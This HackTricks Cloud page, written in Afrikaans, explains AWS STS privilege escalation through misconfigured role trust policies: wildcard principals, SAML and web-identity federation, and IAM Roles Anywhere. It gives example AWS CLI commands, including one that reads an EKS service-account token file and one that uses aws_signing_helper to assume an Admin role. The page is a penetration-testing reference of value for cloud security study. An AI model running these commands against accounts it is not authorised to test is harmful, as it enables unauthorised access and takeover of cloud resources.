AWS - STS Privesc
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
STS
sts:AssumeRole
Elke rol word geskep met ’n role trust policy, hierdie beleid dui aan wie die geskepte rol kan aanvaar. As ’n rol van die dieselfde account sê dat ’n account dit kan aanvaar, beteken dit dat die account toegang tot die rol sal hê (en moontlik privesc).
Byvoorbeeld, die volgende role trust policy dui aan dat enigiemand dit kan aanvaar, daarom sal enige gebruiker in staat wees om te privesc na die toestemmings wat met daardie rol geassosieer is.
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
}
Jy kan ’n rol naboots deur die volgende uit te voer:
aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname
Potensiële impak: Privesc na die role.
Caution
Let daarop dat in hierdie geval die toestemming
sts:AssumeRoleaangedui moet wees in die role wat misbruik word en nie in ’n beleid wat aan die aanvaller behoort nie.
Met een uitsondering, om ’n role vanaf ’n ander rekening aan te neem moet die aanvallerrekening ook diests:AssumeRoleoor die role hê.
sts:AssumeRoleWithSAML
’n trust policy met hierdie role verleen gebruikers wat via SAML geverifieer is toegang om die role te impersonate.
’n voorbeeld van ’n trust policy met hierdie toestemming is:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "OneLogin",
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin"
},
"Action": "sts:AssumeRoleWithSAML",
"Condition": {
"StringEquals": {
"SAML:aud": "https://signin.aws.amazon.com/saml"
}
}
}
]
}
Om credentials te genereer om die role te impersonate, kan jy in die algemeen iets soos gebruik:
aws sts assume-role-with-saml --role-arn <value> --principal-arn <value>
Maar verskaffers mag hul eie gereedskap hê om dit makliker te maak, soos onelogin-aws-assume-role:
onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600
Potensiële impak: Privesc na die rol.
sts:AssumeRoleWithWebIdentity
Hierdie toestemming maak dit moontlik om ’n stel tydelike sekuriteitsbewyse te kry vir gebruikers wat geverifieer is in ’n mobiele of webtoepassing, EKS… met ’n web identity provider. Learn more here.
Byvoorbeeld, as ’n EKS service account in staat moet wees om impersonate an IAM role, sal dit ’n token hê in /var/run/secrets/eks.amazonaws.com/serviceaccount/token en kan dit assume the role and get credentials deur iets soos die volgende te doen:
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/<role_name> --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
# The role name can be found in the metadata of the configuration of the pod
Federation Abuse
IAM Roles Anywhere Privesc
AWS IAM RolesAnywhere laat workloads buite AWS toe om IAM roles aan te neem met X.509-certifikate. Maar wanneer trust policies nie behoorlik afgeperk is nie, kan hulle misbruik word vir privilege escalation.
Om hierdie aanval te verstaan, is dit nodig om te verduidelik wat ’n trust anchor is. ’n trust anchor in AWS IAM Roles Anywhere is die wortel-van-vertroue-entiteit; dit bevat die publieke sertifikaat van ’n Certificate Authority (CA) wat in die rekening geregistreer is sodat AWS die aangebode X.509-certifikate kan valideer. Op hierdie manier, as die client certificate deur daardie CA uitgereik is en die trust anchor aktief is, herken AWS dit as geldig.
Daarbenewens is ’n profile die konfigurasie wat bepaal watter attributte van die X.509-sertifikaat (soos CN, OU, of SAN) omgeskakel sal word na session tags, en hierdie tags sal later teen die voorwaardes van die trust policy vergelyk word.
Hierdie policy ontbreek beperkings oor watter trust anchor of sertifikaat-attribuut toegelaat word. As gevolg hiervan kan enige sertifikaat wat aan enige trust anchor in die rekening gekoppel is, gebruik word om hierdie role aan te neem.
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "rolesanywhere.amazonaws.com"
},
"Action": [
"sts:AssumeRole",
"sts:SetSourceIdentity",
"sts:TagSession"
]
}
]
}
Om te privesc, is die aws_signing_helper benodig vanaf https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html
Vervolgens, deur ’n geldige sertifikaat te gebruik, kan die aanvaller na die hoër voorreg-rol pivot.
aws_signing_helper credential-process \
--certificate readonly.pem \
--private-key readonly.key \
--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \
--profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \
--role-arn arn:aws:iam::123456789012:role/Admin
Die vertrouensanker valideer dat die kliënt se readonly.pem sertifikaat van sy gemagtigde CA kom, en binne hierdie readonly.pem sertifikaat is die publieke sleutel wat AWS gebruik om te verifieer dat die handtekening gemaak is met die ooreenstemmende private sleutel readonly.key.
Die sertifikaat verskaf ook attribuute (soos CN of OU) wat die default profiel omskakel in tags, wat die rol se trust policy kan gebruik om te besluit of toegang gemagtig word. As daar geen voorwaardes in die trust policy is nie, het daardie tags geen nut nie, en word toegang gegee aan enigiemand met ’n geldige sertifikaat.
Vir hierdie aanval om moontlik te wees, moet beide die vertrouensanker en die default profiel aktief wees.
Verwysings
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

